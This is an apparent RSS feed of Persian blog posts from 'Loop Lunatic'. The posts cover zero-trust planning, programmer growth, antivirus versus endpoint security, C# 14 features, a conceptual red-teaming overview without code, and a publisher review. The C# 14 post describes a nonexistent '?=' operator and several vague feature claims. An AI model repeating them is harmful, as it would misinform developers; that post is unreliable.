دستگاه» برای شروع، چون بیشترین بازگشت امنیتی را دارد.‫2) قابلیت‌های هدف را مشخص کنید: مثلاً «احراز هویت قوی»، «حداقل‌سازی دسترسی ادمین»، «قابلیت ارزیابی سلامت دستگاه».‫3) فعالیت‌ها را به تسک‌های قابل انجام تبدیل کنید: با مالک، پیش‌نیاز، خروجی، و معیار موفقیت.‫4) وابستگی‌ها را شفاف کنید: برخی فعالیت‌ها پیش‌نیاز برخی دیگرند؛ برنامه‌ریزی بدون دیدن وابستگی‌ها باعث بن‌بست می‌شود.‫5) خروجی‌ها را قابل سنجش کنید: مثلاً درصد اکانت‌های دارای MFA، درصد دستگاه‌های دارای رمزگذاری، یا کاهش دسترسی‌های ادمین دائمی.‬‫مزیت این روش این است که شما هم «دید کلان» دارید، هم «گام‌های اجرایی». زیرو تراست از یک پروژه‌ی مبهم تبدیل می‌شود به مجموعه‌ای از کارهای قابل پیگیری.‬‫چند اشتباه رایج در پیاده‌سازی زیرو تراست (و راه جلوگیری از آن‌ها)‬‫۱) شروع از ابزار به جای مسئله: اول شکاف‌ها و اولویت‌ها را مشخص کنید، بعد ابزار را انتخاب کنید.‫۲) نادیده گرفتن Discovery: بدون شناخت دارایی‌ها و جریان‌ها، سیاست‌ها یا خیلی سخت‌گیرانه می‌شوند یا پر از استثنا.‫۳) نداشتن معیار موفقیت: اگر نتوانید اندازه‌گیری کنید، نمی‌فهمید پیشرفت کرده‌اید یا نه.‫۴) رها کردن مدیریت تغییر: زیرو تراست روی تجربه کاربر اثر می‌گذارد؛ بدون مدیریت تغییر و ارتباط با تیم‌ها، مقاومت شکل می‌گیرد.‫۵) یکپارچه نکردن مشاهده‌پذیری: اگر سیاست‌ها داده و بازخورد نداشته باشند، یا زیادی سفت می‌شوند یا زیادی شل.‬‫یک چک‌لیست شروع سریع ‫اگر بخواهید همین هفته شروع کنید، این چک‌لیست کمکتان می‌کند:‬‫دارایی‌های حیاتی و حساس را لیست کنید (سیستم‌های کلیدی، داده‌های حیاتی).مسیرهای دسترسی مهم را مشخص کنید (چه کسی به چه چیزی از کجا وصل می‌شود).وضعیت هویت‌ها را بسنجید (MFA، اکانت‌های ادمین، سرویس‌اکانت‌ها).وضعیت دستگاه‌ها را بسنجید (Patch، EDR، رمزگذاری، مدیریت مرکزی).لاگ‌های پایه را یکپارچه کنید (حداقل برای نقاط حساس).یک «پایلوت محدود» تعریف کنید (مثلاً یک برنامه یا یک تیم) و فاز یک را روی آن اجرا کنید.‬‫جمع‌بندی زیرو تراست، یک برنامه‌ی مرحله‌ای و قابل اندازه‌گیری است‬‫زیرو تراست وقتی موفق می‌شود که از سطح شعار پایین بیاید و وارد زبان اجرا شود: «قابلیت‌ها» و «فعالیت‌ها» با خروجی‌های مشخص. رویکرد مرحله‌ای به شما اجازه می‌دهد به جای یک پروژه‌ی عظیم و فرسایشی، قدم‌های منطقی بردارید: اول شناخت دقیق (Discovery)، بعد ساخت پایه‌های امن (Phase One)، و سپس یکپارچه‌سازی کنترل‌ها و سیاست‌ها (Phase Two). در نهایت هم مسیر برای بلوغ پیشرفته‌تر باز می‌ماند.‬</description><category>Loop Lunatic</category><author>Loop Lunatic</author><pubDate>Sat, 31 Jan 2026 11:38:42 +0330</pubDate></item><item><title>راهکار واقعی برای لول‌اَپ شدن به‌عنوان یک برنامه‌نویس</title><link>https://virgool.ir/@LoopLunatic/راهکار-واقعی-برای-لول-اَپ-شدن-به-عنوان-یک-برنامه-نویس-vkomqohviiao</link><description>تقریباً همه‌ی برنامه‌نویس‌ها یک نقطه‌ی مشترک دارند:در مقطعی حس می‌کنند گیر کرده‌اند.کد می‌زنند، پروژه تحویل می‌دهند، حتی شاید درآمد خوبی هم داشته باشند، اما در درون‌شان می‌دانند که رشد واقعی متوقف شده.در این نقطه، معمولاً دو واکنش دیده می‌شود:یا سراغ یاد گرفتن یک فریم‌ورک جدید می‌رویم،یا احساس می‌کنیم «استعدادش را نداریم».اما حقیقت این است که لول‌اَپ شدن، خیلی کمتر از آن‌چه فکر می‌کنیم به ابزار مربوط است و خیلی بیشتر به نوع نگاه ما به مسئله و کدنویسی.در این نوشته، فرض کن من جان اسکیت هستم؛ کسی که سال‌ها با کد، باگ، مستندات و سؤال‌های عمیق سر و کار داشته. نه برای این‌که نسخه‌ی جادویی بدهم، بلکه برای این‌که مسیر فکر کردن را شفاف‌تر کنم.۱. لول‌اَپ از جایی شروع می‌شود که «چرا» برایت مهم‌تر از «چطور» می‌شودبیشتر ما برنامه‌نویسی را با «چطور» یاد می‌گیریم:چطور API صدا بزنم؟چطور این خطا را رفع کنم؟چطور این فیچر را سریع‌تر پیاده کنم؟این طبیعی است. اما اگر در همین مرحله بمانی، رشدت خیلی زود سقف می‌خورد.برنامه‌نویس حرفه‌ای وقتی کدی کار می‌کند، راضی نمی‌شود. مکث می‌کند و می‌پرسد:چرا این کد درست کار می‌کند؟اگر شرایط عوض شود چه؟اگر سیستم بزرگ‌تر شود، داده‌ها بیشتر شوند یا هم‌زمانی اضافه شود، آیا باز هم جواب می‌دهد؟«چرا» پرسیدن، مغزت را از مصرف‌کننده‌ی راه‌حل به تحلیل‌گر سیستم تبدیل می‌کند.و این دقیقاً همان نقطه‌ای است که لول‌اَپ واقعی اتفاق می‌افتد.۲. یک زبان را انتخاب کن و آن را واقعاً بفهمبسیاری از برنامه‌نویس‌ها به چند زبان «مسلط‌اند»، اما به هیچ‌کدام عمیقاً مسلط نیستند.دانستن syntax چند زبان، تو را قوی نمی‌کند؛ فهم عمیق یک زبان می‌کند.وقتی می‌گویم عمیق، منظورم این‌هاست:حافظه چگونه مدیریت می‌شود؟سیستم type چه محدودیت‌ها و چه مزایایی دارد؟در شرایط مرزی (edge cases) چه رفتاری می‌بینیم؟هم‌زمانی واقعاً چگونه پیاده‌سازی شده؟خواندن مستندات رسمی سخت است، کند است و هیجان ندارد؛اما دقیقاً همان‌جایی است که تفاوت ایجاد می‌شود.وقتی زبانت را عمیق بفهمی، دیگر:باگ‌ها تو را غافلگیر نمی‌کنندرفتار عجیب سیستم برایت «جادو» نیستو تصمیم‌هایت آگاهانه‌تر می‌شوند۳. کیفیت کد قبل از نوشتن آن تعیین می‌شود، نه بعدشیکی از بزرگ‌ترین سوءتفاهم‌ها این است که فکر می‌کنیم کیفیت، نتیجه‌ی refactor بعدی است.در حالی که کیفیت واقعی، قبل از نوشتن اولین خط کد شکل می‌گیرد.برنامه‌نویس قوی قبل از تایپ:روی نام‌ها فکر می‌کندساختار را ساده نگه می‌داردو جرئت حذف کردن ایده‌های اضافی را داردکدی که نوشته نشده:باگ نداردتست نمی‌خواهدنگهداری نمی‌خواهدلول‌اَپ یعنی یاد بگیری چه زمانی کد کمتر بنویسی، نه بیشتر.۴. باگ‌ها را سطحی حل نکن؛ از آن‌ها یاد بگیربرنامه‌نویس ضعیف از باگ متنفر است.برنامه‌نویس حرفه‌ای باگ را یک سیگنال می‌بیند.هر باگ یک سؤال مهم پشتش دارد:چه فرض اشتباهی داشتم؟چه چیزی را ساده‌انگارانه در نظر گرفتم؟طراحی کجا می‌توانست بهتر باشد؟اگر فقط باگ را patch کنی، چیزی یاد نگرفته‌ای.اما اگر ریشه‌اش را بفهمی، نه‌تنها آن باگ، بلکه یک کلاس کامل از خطاها را حذف کرده‌ای.بیشترین رشد واقعی، معمولاً از سخت‌ترین باگ‌ها می‌آید.۵. آموزش دادن، سریع‌ترین راه عمیق شدن استوقتی چیزی را فقط برای خودت بلد هستی، ممکن است توهم فهم داشته باشی.اما وقتی مجبور می‌شوی آن را به دیگری توضیح بدهی، همه‌چیز روشن می‌شود.توضیح دادن:حفره‌های دانشت را نشان می‌دهدذهنت را منظم می‌کندو باعث می‌شود از سطح «بلد بودن» عبور کنیلازم نیست استاد باشی.نوشتن یک پست، جواب دادن به یک سؤال یا حتی توضیح دادن به یک هم‌تیمی، تو را چند پله جلو می‌برد.۶. فروتنی، پیش‌نیاز رشد فنی استاین شاید عجیب به نظر برسد، اما فروتنی یک مهارت فنی است.اگر فکر کنی:«من بلدم»،دیگر سؤال نمی‌پرسی.نقد نمی‌شنوی.و اشتباهاتت نامرئی می‌شوند.برنامه‌نویس حرفه‌ای:راحت می‌گوید «نمی‌دانم»نظرش را با دلیل می‌گوید، نه با قطعیتو حاضر است نظرش را عوض کندرشد، فقط در ذهنی اتفاق می‌افتد که جا برای یادگیری دارد.۷. روی تفکر سرمایه‌گذاری کن، نه فقط تکنولوژیزبان‌ها تغییر می‌کنند.فریم‌ورک‌ها می‌آیند و می‌روند.اما تفکر خوب ماندگار است.اگر یاد بگیری:مسئله را درست تحلیل کنیtrade-offها را بفهمیو سیستم را به‌عنوان یک کل ببینییاد گرفتن هر ابزار جدید فقط زمان می‌برد، نه انرژی ذهنی.جمع‌بندیلول‌اَپ شدن یعنی:نه سریع‌تر تایپ کردن،نه بلد بودن ابزارهای بیشتر،بلکه عمیق‌تر فکر کردن.اگر هر روز کمی بهتر سؤال بپرسی،کمی دقیق‌تر فکر کنی،و کمی مسئولانه‌تر کد بنویسی،در بلندمدت، فاصله‌ای ایجاد می‌کنی که با هیچ دوره یا فریم‌ورکی پر نمی‌شود.برنامه‌نویس خوب کد می‌نویسد.برنامه‌نویس حرفه‌ای، مسئله را می‌فهمد.</description><category>Loop Lunatic</category><author>Loop Lunatic</author><pubDate>Mon, 22 Dec 2025 16:47:55 +0330</pubDate></item><item><title>تفاوت Antivirus و Endpoint Security</title><link>https://virgool.ir/@LoopLunatic/تفاوت-antivirus-و-endpoint-security-isbbnmd7dkks</link><description>آنتی‌ویروس و امنیت نقاط انتهایی (Endpoint Security) هر دو برای حفاظت از سیستم‌ها در برابر تهدیدات سایبری طراحی شده‌اند، اما تفاوت‌های مهمی در عملکرد و دامنه پوشش آن‌ها وجود دارد.آنتی‌ویروس (Antivirus)آنتی‌ویروس یک نرم‌افزار امنیتی است که به‌طور خاص برای شناسایی، پیشگیری و حذف بدافزارها طراحی شده است. بدافزارها شامل ویروس‌ها، تروجان‌ها، کی‌لاگرها، باج‌افزارها و کرم‌ها هستند. ویژگی‌های اصلی آنتی‌ویروس عبارت‌اند از:اسکن در زمان واقعی و دستی: آنتی‌ویروس‌ها به‌طور مداوم فایل‌ها و دایرکتوری‌های دستگاه را برای الگوهای مخرب اسکن می‌کنند و در صورت شناسایی بدافزار، هشدار می‌دهند.حفاظت وب: هنگام استفاده از اینترنت، آنتی‌ویروس‌ها از کاربران در برابر تهدیدات مختلف وب محافظت می‌کنند.شناسایی و حذف تهدیدات: آنتی‌ویروس‌ها فایل‌های آلوده را شناسایی و حذف یا قرنطینه می‌کنند.به‌روزرسانی خودکار: آنتی‌ویروس‌ها به‌طور خودکار به‌روزرسانی می‌شوند تا با تهدیدات جدید مقابله کنند.امنیت نقاط انتهایی (Endpoint Security)امنیت نقاط انتهایی یک رویکرد جامع‌تر برای حفاظت از دستگاه‌های انتهایی مانند دسکتاپ‌ها، لپ‌تاپ‌ها و دستگاه‌های موبایل در برابر تهدیدات سایبری است. این رویکرد شامل مدیریت و حفاظت از نقاط انتهایی در برابر تهدیدات مختلف است. ویژگی‌های اصلی امنیت نقاط انتهایی عبارت‌اند از:شناسایی و پاسخ به تهدیدات (EDR): امنیت نقاط انتهایی شامل فناوری‌های EDR است که به شناسایی و پاسخ به تهدیدات پیشرفته کمک می‌کند.مدیریت دستگاه‌ها: امنیت نقاط انتهایی شامل مدیریت دستگاه‌ها و کنترل دسترسی به شبکه است.پیشگیری از نشت داده‌ها (DLP): این فناوری‌ها به جلوگیری از نشت داده‌های حساس کمک می‌کنند.تشخیص تهدیدات پیشرفته: امنیت نقاط انتهایی شامل تشخیص تهدیدات پیشرفته مانند حملات مداوم پیشرفته (APT)، حملات روز صفر و بدافزارهای چندشکلی است.مدیریت مرکزی: امنیت نقاط انتهایی امکان مدیریت مرکزی و کنترل تمامی دستگاه‌های متصل به شبکه را فراهم می‌کند.تفاوت‌های کلیدیدامنه پوشش: آنتی‌ویروس به‌طور خاص بر شناسایی و حذف بدافزارها تمرکز دارد، درحالی‌که امنیت نقاط انتهایی یک رویکرد جامع‌تر است که شامل مدیریت دستگاه‌ها، پیشگیری از نشت داده‌ها و تشخیص تهدیدات پیشرفته می‌شود.مدیریت و کنترل: امنیت نقاط انتهایی امکان مدیریت مرکزی و کنترل تمامی دستگاه‌های متصل به شبکه را فراهم می‌کند، درحالی‌که آنتی‌ویروس به‌طور مستقل بر روی هر دستگاه نصب و اجرا می‌شود.تشخیص تهدیدات پیشرفته: امنیت نقاط انتهایی شامل فناوری‌های پیشرفته‌تری برای تشخیص و پاسخ به تهدیدات پیشرفته است، درحالی‌که آنتی‌ویروس بیشتر بر شناسایی و حذف بدافزارهای شناخته‌شده تمرکز دارد.درنتیجه، امنیت نقاط انتهایی یک راه‌حل جامع‌تر و پیشرفته‌تر برای حفاظت از دستگاه‌ها و شبکه‌ها در برابر تهدیدات سایبری است، درحالی‌که آنتی‌ویروس به‌طور خاص برای شناسایی و حذف بدافزارها طراحی شده است.</description><category>Loop Lunatic</category><author>Loop Lunatic</author><pubDate>Sun, 07 Dec 2025 12:21:22 +0330</pubDate></item><item><title>معرفی کامل ویژگی‌های جدید C# 14</title><link>https://virgool.ir/@LoopLunatic/معرفی-کامل-ویژگی-های-جدید-c-14-sqb7927io7kz</link><description>زبان #C در نسخه‌ 14 یکی از بزرگ‌ترین به‌روزرسانی‌های سال‌های اخیر خود را تجربه کرده است.این نسخه، علاوه بر بهبودهای مهم در کارایی، مجموعه‌ای از قابلیت‌های جدید را معرفی می‌کند که هدف آن‌ها کاهش پیچیدگی کد، افزایش سرعت توسعه، و ارائه کنترل بیشتر به برنامه‌نویسان است.در این پست، تمامی قابلیت‌های جدید C# 14 را بررسی می‌کنیم،و برای هر ویژگی توضیح می‌دهیم چرا اضافه شده و چه مزیتی ایجاد می‌کند. 🔵 1. اعضای الحاقی (Extension Members)تا قبل از C# 14 فقط متدهای الحاقی وجود داشت.اما حالا می‌توان به یک نوع، property، indexer، operator و حتی event الحاقی نیز اضافه کرد. مزایا: افزودن قابلیت به انواع مختلف بدون تغییر کد اصلی آن‌ها ایجاد APIهای خواناتر و تمیزتر کاهش نیاز به کلاس‌های کمکی تکراری چرا نیاز بود؟برای توسعه کتابخانه‌ها، DSLها و حتی ابزارهایی مانند EF Core، این محدودیت قدیمی دردسرساز بود.اکنون توسعه‌دهندگان انعطاف بسیار بیشتری دارند. 🔵 2. تخصیص شرطی نال با عملگر جدید ?=)پیش از این باید برای مقداردهی مشروط، از if استفاده می‌کردیم.در C# 14 تنها با یک خط:obj.Property ?= new(); مزایا: کوتاه شدن کدهای بررسی نالجلوگیری از خطاهای NullReferenceمناسب برای DTOها و مدل‌های داده چرا نیاز بود؟کدهای چک نال در پروژه‌های واقعی بسیار تکراری بودند.این قابلیت کدنویسی را ساده‌تر و ایمن‌تر می‌کند. 🔵 3. پشتیبانی از nameof روی genericهای نامقیداکنون می‌توان نام یک generic را بدون مشخص‌کردن پارامترها دریافت کرد:nameof(List&lt;&gt;) مزایا: تولید کد و reflection ساده‌تر و قابل‌اطمینان‌تر کاربرد گسترده در Source Generatorها چرا نیاز بود؟در ابزارسازی و تولید خودکار کد، این قابلیت ضروری بود اما در نسخه‌های قبلی پشتیبانی نمی‌شد. 🔵 4. بهبود تبدیل‌های Span&lt;T&gt;در C# 14 تبدیل‌های implicit به Span بسیار بهتر و طبیعی‌تر شده‌اند. مزایا: سرعت بیشتر کاهش مصرف حافظه صفر شدن عملیات کپی داده چرا نیاز بود؟Span&lt;T&gt; از قوی‌ترین قابلیت‌های C# است، اما استفاده از آن پیش‌تر کمی دست‌وپاگیر بود.این تغییر برای کارایی برنامه‌های real-time حیاتی است. 🔵 5. سازنده‌های جزئی (Partial Constructors)امکان تعریف constructor در چند فایل مختلف. مزایا: امکان تقسیم مسئولیت‌ها تعامل عالی با Source Generatorها ساختاردهی بهتر کلاس‌های پیچیده چرا نیاز بود؟در برخی فریم‌ورک‌ها بخش‌هایی از کلاس توسط generator تولید می‌شود؛قبلاً امکان تقسیم constructor وجود نداشت. 🔵 6. رویدادهای جزئی (Partial Events)اکنون eventها نیز مانند متدها و کلاس‌ها قابل تقسیم‌بندی هستند. مزایا: ساخت ابزارهای رابط کاربری یا frameworkها آسان‌تر می‌شود لغو محدودیت‌های رویدادها در فایل‌های چندگانه چرا نیاز بود؟در معماری‌های مدرن بخش‌هایی از کلاس توسط ابزارها تولید می‌شود.این قابلیت هماهنگی بین انسان و ماشین را بهتر می‌کند. 🔵 7. عملگرهای ترکیبی قابل overloadاگر عملگر + را overload می‌کنید، حالا می‌توانید += را هم تعریف کنید. مزایا: کنترل کامل بر منطق حسابی انواع سفارشی مناسب برای ساختارهای ریاضی و موتورهای بازی چرا نیاز بود؟قبلاً کامپایلر برخی عملگرها را خودکار تولید می‌کرد؛این آزادی دست برنامه‌نویس را بیشتر می‌کند. 🔵 8. بهبودهای Pattern MatchingC# 14 الگوهای لیستی، recursive patterns و ترکیب‌های مختلف را تقویت کرده است. مزایا: ساده‌سازی switchهای پیچیده کدنویسی functional راحت‌تر بهبود خوانایی چرا نیاز بود؟الگوهای داده‌ای پیچیده‌تر در برنامه‌های مدرن به پشتیبانی بهتر نیاز داشتند. 🔵 9. پشتیبانی بهتر از params با Spanاکنون می‌توان params را بدون ایجاد آرایه جدید استفاده کرد. مزایا: سرعت بالاتر کاهش فشار روی GC به‌صرفه برای پردازش داده‌های حجیم چرا نیاز بود؟آرایه‌سازی خودکار params در پروژه‌های واقعی یک نقطه ضعف عملکردی بود. 🔵 10. بهبود رفتار default literalقابلیت استفاده از default در موقعیت‌های بیشتری وجود دارد. مزایا: کوتاه‌تر شدن کد خوانایی بهتر چرا نیاز بود؟default literal کاربرد زیادی داشت اما در نسخه‌های قبلی محدود بود. 🔵 11. رفع محدودیت‌های refC# 14 اجازه می‌دهد ref در موقعیت‌های بیشتری استفاده شود. مزایا: کنترل بیشتر بر حافظه سرعت بالاتر مناسب برای ساختارهای performance critical چرا نیاز بود?ref همیشه یکی از سنگ‌بناهای کارایی در C# بوده،اما محدودیت‌های syntax باعث دست‌وپاگیری آن می‌شد. 🔵 12. بهبود استنتاج نوع (Type Inference)نسخه جدید کامپایلر بهتر می‌تواند انواع generic و async را تشخیص دهد. مزایا: نیاز کمتر به نوع‌نویسی اضافی کد تمیزتر و خواناتر چرا نیاز بود؟کدهای LINQ، async و generic در پروژه‌های واقعی سنگین شده بودند.بهبود inference تجربه توسعه را بسیار راحت‌تر می‌کند. 🔵 13. بهبود عملکرد async/awaitدر C# 14 ساختار داخلی state machine بهینه‌تر شده است. مزایا: اجرای سریع‌تر تخصیص حافظه کمتر افزایش کارایی وب‌سرویس‌ها و اپلیکیشن‌های I/O محور چرا نیاز بود؟امروزه بیشتر کدهای backend بر پایه async هستند؛این بهبود تأثیر زیادی روی سرعت واقعی برنامه‌ها دارد. 🔵 14. ارتقاهای Roslyn و هشدارهای جدیدکامپایلر C# 14 هوشمندتر شده. مزایا: تشخیص بهتر null referenceها هشدارهای دقیق‌تر رفع کدهای غیرقابل اجرا چرا نیاز بود؟کامپایلر مدرن فقط باید کد را ترجمه نکند؛بلکه باید رفتار توسعه‌دهنده را هدایت و از خطا جلوگیری کند.🎯 جمع‌بندی: چرا C# 14 مهم است؟C# 14 ترکیبی از سه هدف اصلی است: ✔ افزایش کارایی (performance) async سریع‌تر span سبک‌تر ref منعطف‌تر ✔ افزایش خوانایی و کاهش پیچیدگی extension members ?= pattern matching پیشرفته ✔ بهبود تجربه توسعه و ابزارسازی partial constructor partial event nameof برای genericهادر مجموع، C# 14 تلاش کرده زبان را هم برای برنامه‌نویس روزمره و هم برای سازندگان ابزارها و frameworkها مدرن‌تر و قدرتمندتر کند.</description><category>Loop Lunatic</category><author>Loop Lunatic</author><pubDate>Sun, 16 Nov 2025 12:36:00 +0330</pubDate></item><item><title>تیم قرمز  یا Red Teaming چیست؟</title><link>https://virgool.ir/@LoopLunatic/تیم-قرمز-یا-red-teaming-چیست-opxjn0cw7zw9</link><description>تیم قرمز (Red Teaming) یک ارزیابی بسیار پیشرفته و مبتنی بر رویکرد مهاجم در حوزه امنیت سایبری است که باهدف شبیه‌سازی سناریوهای واقعی حمله انجام می‌شود. برخلاف تست‌های نفوذ سنتی، عملیات تیم قرمز صرفاً به شناسایی آسیب‌پذیری‌های فنی محدود نمی‌شود، بلکه مقاومت کلی یک سازمان را در برابر تهدیدات بررسی می‌کند؛ ازجمله نقاط ضعف انسانی، فرآیندها و توانایی‌های شناسایی و واکنش به تهدید.تیم‌های قرمز از روش‌ها، تکنیک‌ها و رویه‌های مهاجمان واقعی (که به‌اختصار TTPs نامیده می‌شوند) تقلید می‌کنند؛ مانند تهدیدات پیشرفته و پایدار (APTها) و از چارچوب‌های ساختاریافته‌ای همچون MITRE ATT&amp;CK و Cyber Kill Chain بهره می‌برند. این عملیات ذاتاً به‌صورت پنهانی انجام می‌شوند و اغلب بدون اطلاع قبلی تیم دفاعی اجرا می‌گردند تا شبیه‌سازی تهدید به شکلی واقعی و مؤثر انجام شود.اهداف اصلی عملیات تیم قرمز:ارزیابی جامع (Holistic Evaluation): سنجش میزان توانمندی یک سازمان در شناسایی، واکنش و بازیابی از حملات سایبری پیچیده.واقع‌گرایی به‌جای لیست‌محوری (Realism Over Checklists): تمرکز بر شبیه‌سازی تهدیدات واقعی به‌جای صرفاً اسکن آسیب‌پذیری‌ها یا بررسی‌های چک‌لیستی.پوشش میان‌دامنه‌ای (Cross-Domain Coverage): بررسی اثربخشی فناوری، رفتار کارکنان و صحت و کارایی فرآیندهای سازمانی.ویژگی‌های کلیدی عملیات تیم قرمزجنبه رد تیم (Red Team)هدف ارزیابی میزان تاب‌آوری سازمان در برابر تهدیدات واقعی.رویکرد شبیه‌سازی مخفیانه مهاجم با اهداف و محدودیت‌های واقع‌گرایانه.دامنه گسترده و سفارشی‌سازی ‌شده؛ شامل زیرساخت، نرم‌افزارها، نیروی انسانی، امنیت فیزیکی و زنجیره تأمین.روش‌شناسی شبیه‌سازی مبتنی بر TTP (تاکتیک‌ها، تکنیک‌ها و رویه‌ها) با استفاده از چارچوب‌هایی مانند MITRE ATT&amp;CK، Cyber Kill Chain و مدل‌های تهدید سفارشی.مدت‌زمان پروژه‌های بلندمدت؛ از چند هفته تا چند ماه.مخفی‌کاری به‌صورت مخفیانه و بدون اطلاع تیم آبی یا کارکنان IT (مدل Black Box).نتیجه سنجش میزان شناسایی تهدید، مدیریت هشدارها، مسیرهای تصعید (escalation paths) و اثربخشی واکنش.ابزارها بدافزارهای سفارشی، چارچوب‌های C2، پیلودهای فرار کننده، زنجیره سازی دستی TTPها، و زیرساخت اختصاصی رد تیم.تفاوت تیم قرمز با تست نفوذ (Penetration Testing)بااینکه اغلب با یکدیگر اشتباه گرفته می‌شوند، تیم قرمز و تست نفوذ اهداف و رویکردهای متفاوتی دارند:جنبه تیم قرمز (Red Teaming) تست نفوذ (Penetration Test)هدف ارزیابی کلی وضعیت دفاعی و توان واکنش به تهدید شناسایی و بهره‌برداری از آسیب‌پذیری‌های خاصتاکتیک‌ها شبیه‌سازی مهاجمان واقعی (مانند APTها، نفوذگران داخلی، هکتیویست‌ها) استفاده از آسیب‌پذیری‌های شناخته‌شده و ابزارهای رایج اکسپلویتمیزان آشکار بودن عملیات به‌صورت مخفیانه و بدون اطلاع تیم‌های دفاعی معمولاً با اطلاع کامل یا نسبی تیم امنیتی انجام می‌شوددامنه فعالیت وسیع؛ شامل دسترسی فیزیکی، مهندسی اجتماعی و نفوذ به سیستم‌ها محدود؛ تمرکز بر سیستم‌ها، اپلیکیشن‌ها یا شبکه‌هامدت‌زمان چند هفته تا چند ماه چند روز تا چند هفتهخروجی نهایی گزارش روایی از شکاف‌های شناسایی و واکنش، و تحلیل Kill Chain گزارش فنی از آسیب‌پذیری‌ها و راهکارهای رفع آن‌هاابزارها ابزارهای سفارشی، پیلودهای مبهم سازی شده، زیرساخت زنده C2 اسکنرها و فریم‌ورک‌های اکسپلویت (مثل Nessus، Burp Suite)روش‌شناسی و چارچوب‌ها در عملیات تیم قرمزعملیات تیم قرمز یک تمرین ساده‌ی چک‌لیستی نیست، بلکه مبتنی بر سناریوهای واقع‌گرایانه و هماهنگ با اطلاعات تهدید (Threat Intelligence) است. چارچوب‌های زیر، پایه و راهنمای بیشتر عملیات مدرن رد تیم به شمار می‌روند:MITRE ATT&amp;CK: پایگاه دانشی جامع از رفتارهای مهاجمان، که بر اساس تاکتیک‌ها و تکنیک‌ها سازمان‌دهی شده است.Cyber Kill Chain: مدلی توسعه‌یافته توسط شرکت Lockheed Martin که مراحل مختلف یک حمله سایبری را شرح می‌دهد.TIBER-EU: چارچوبی مبتنی بر اطلاعات تهدید، ویژه تست‌های اخلاقی تیم قرمز در مؤسسات مالی اروپایی.NIST 800-115 (کاربرد اصلاح‌شده): در این چارچوب، تیم قرمز به‌عنوان زیرمجموعه‌ای از ارزیابی‌های مبتنی بر تقابل (Adversarial Assessments) شناخته می‌شود.هر عملیات معمولاً با شناسایی (Reconnaissance) آغازشده و مراحل زیر را دنبال می‌کند:1. دسترسی اولیه (Initial Access)2. ماندگاری در سیستم (Persistence)3. افزایش دسترسی (Privilege Escalation)4. حرکت افقی در شبکه (Lateral Movement)5. احتمال استخراج داده‌ها (Data Exfiltration)تمام این مراحل در حالی انجام می‌شود که تیم قرمز به‌دقت تلاش می‌کند از شناسایی شدن توسط تیم‌های دفاعی جلوگیری کند.ابزارها و فناوری‌های مورداستفاده در عملیات تیم قرمزتیم‌های رد از ترکیبی از ابزارهای عمومی، خصوصی و سفارشی‌سازی ‌شده استفاده می‌کنند که برای شبیه‌سازی حملات واقعی طراحی‌شده‌اند. این ابزارها شامل موارد زیر هستند:چارچوب‌های فرمان و کنترل (C2 Frameworks):مانند Cobalt Strike، Sliver، Havoc و Mythic برای برقراری ارتباط مخفی با سیستم‌های قربانی.اسکریپت نویسی تهاجمی (Offensive Scripting):استفاده از زبان‌هایی مانند PowerShell، C++ و Python برای توسعه ابزارها و اجرای تکنیک‌های نفوذ.تکنیک‌های فرار از شناسایی (Evasion Techniques):شامل مبهم سازی (Obfuscation)، DLL sideloading، و دور زدن مکانیسم‌های امنیتی مانند AMSI (Antimalware Scan Interface) و ETW (Event Tracing for Windows).زیرساخت (Infrastructure):راه‌اندازی Redirectorها، سرورهای مرحله‌بندی (staging servers) و استفاده از تکنیک Domain Fronting برای پنهان‌سازی ترافیک ارتباطی.ابزارهای فیزیکی و مهندسی اجتماعی (Physical/SE):مانند BadUSBها (دستگاه‌های USB مخرب)، کارت‌های شبیه‌سازی‌شده برای دسترسی فیزیکی، پیلودهای فیشینگ و نقاط دسترسی وای‌فای جعلی (rogue access points).این مجموعه ابزار به تیم‌های رد امکان می‌دهد تا حملات را با واقع‌گرایی بالا اجرا کرده و اثربخشی دفاع سایبری سازمان را به‌طور کامل مورد ارزیابی قرار دهند.نکات پایانیتیم قرمز تنها به معنای «نفوذ به سیستم» نیست؛ بلکه هدف اصلی آن، سنجش آمادگی واقعی سازمان در مواجهه با یک حمله سایبری است. این رویکرد بازخوردی حیاتی به تیم‌های آبی (Blue Teams) ارائه می‌دهد، نقاط کور امنیتی را شناسایی می‌کند و به بهبود مستمر در سه حوزه‌ مهم نیرو انسانی، فرآیندها و فناوری کمک می‌نماید.برخلاف تست‌هایی که صرفاً باهدف رعایت الزامات انطباق (Compliance) انجام می‌شوند، عملیات تیم قرمز مقاومت و بلوغ واقعی سازمان را در برابر فشارها و شرایط مشابه تهدیدات دنیای واقعی به چالش می‌کشد.</description><category>Loop Lunatic</category><author>Loop Lunatic</author><pubDate>Sat, 25 Oct 2025 11:30:08 +0330</pubDate></item><item><title>چطور یه ناشر اعتماد منو جلب کرد و حالا طرفدارشونم!</title><link>https://virgool.ir/@LoopLunatic/چطور-یه-ناشر-اعتماد-منو-جلب-کرد-و-حالا-طرفدارشونم-s5dndv28nxdl</link><description>امروز می‌خوام تجربه‌ای رو تعریف کنم که برام جالب بود: داستانی که از بی‌اعتمادی شروع شد و به شگفتی ختم شد.وقتی به هیچ منبعی اعتماد نداریمن همیشه سعی می‌کنم خودم رو تو حوزه‌های تخصصی مثل امنیت سایبری و برنامه‌نویسی آپدیت نگه دارم. اما خب، پیدا کردن یه منبع درست‌وحسابی تو این بازار شلوغ مثل پیدا کردن سوزن تو انبار کاهه. چند وقت پیش به سایتی برخوردم به اسم cybershelf.github.io که خودش رو یک ناشر تخصصی در این حوزه معرفی می‌کرد. راستش اولش جدی نگرفتم، چون فکر کردم شاید مثل بقیه فقط یه سری محتوای تکراری باشه.اما یه چیز کنجکاوم کرد: دو تا کتاب رایگان PDF برای دانلود گذاشته بودن. با خودم گفتم چیزی از دست نمی‌دم، امتحانشون می‌کنم.اولین برخورد: کتاب‌های رایگاناز همون سایت cybershelf.github.io دو تا فایل رو دانلود کردم: «مقدمه‌ای بر توسعه API ویندوز برای تیم قرمز» و «مقدمه‌ای بر مدیریت عملیات تیم قرمز». انتظار زیادی نداشتم، ولی وقتی شروع کردم به خوندن، دیدم برخلاف تصورم ساده‌انگارانه یا سطحی نیستن. توضیحات روان بودن، مثال‌ها عملی و بعضی تمرین‌ها واقعاً قابل اجرا. بخش مربوط به توسعه API خیلی برام جالب بود چون با چند خط کد می‌شد نتیجه رو دید.کنجکاوی بیشتربعد از اون، از روی کنجکاوی سری به سرفصل‌های بقیه کتاب‌ها زدم. تنوع موضوعات زیاد بود: از تحلیل بدافزار و تست نفوذ گرفته تا حتی کاربرد هوش مصنوعی در امنیت. چیزی که توجهم رو جلب کرد این بود که سرفصل‌ها 